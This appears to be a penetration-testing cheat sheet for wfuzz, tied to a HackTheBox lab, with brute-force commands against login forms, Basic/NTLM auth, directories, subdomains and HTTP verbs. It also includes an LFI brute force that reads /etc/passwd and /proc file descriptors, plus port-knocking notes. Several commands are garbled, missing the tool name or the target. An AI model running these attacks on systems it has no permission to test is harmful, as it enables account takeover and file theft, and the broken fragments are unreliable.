Login Form bruteforce

POST, Single list, filter string (hide)

wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by line

POST, 2 lists, filder code (show) -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code

GET, 2 lists, filter string (show), proxy, cookies

wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" ""

Bruteforce Dicrectory/RESTful bruteforce

Arjun parameters wordlist

wfuzz -c -w /tmp/tmp/params.txt --hc 404

Path Parameters BF

wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 ''

Header Authentication

Basic, 2 lists, filter string (show), proxy

wfuzz -c -w users.txt -w pass.txt -p --ss "Welcome" --basic FUZZ:FUZ2Z ""

NTLM, 2 lists, filter string (show), proxy

wfuzz -c -w users.txt -w pass.txt -p --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' ""
wfuzz -c -w users.txt -p --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ"  ""

User-Agent, filter code (hide), proxy

wfuzz -c -w user-agents.txt -p --ss "Welcome " -H "User-Agent: FUZZ"  ""


wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-20000.txt --hc 400,404,403 -H "Host:" -u -t 100

HTTP Verbs (methods) bruteforce

Using file

wfuzz -c -w methods.txt -p --sc 200 -X FUZZ ""

Using inline list


Directory & Files Bruteforce

#Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403

Tool to bypass Webs

LFI brute force -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -z file,pass.txt http://IP/index.php?FUZZ=../../../../../../../../../../../../../etc/passwd

This should look for LFI vuln.

  • Filtering such as word count with --hw or --hc (status code) may be needed

  • setting a session cookie may also be needed with -b "PHPSESID=something"

files to look.

  • /var/log/apache2/access.log

  • cd /proc has wonderful info (about what process exists )



  • wfuzz -z range,0-100 -u http://IP/manage.php?file=../../../../../../proc/self/fd/FUZZ

-b "SESSIONCOOKIE" may be needed

If ssh is filtered, you may try this!

  • /proc/sched_debug is useful sometimes.

    • if "knockd" exists, it's a port knocking service --> which means some ports may have filters.

    • /etc/knockd.conf

it may look like this.

In this case, to access SSH, we need to access 7569, 8475,9842 in the correct order.

  • access these ports with nc and then try to ssh.

Last updated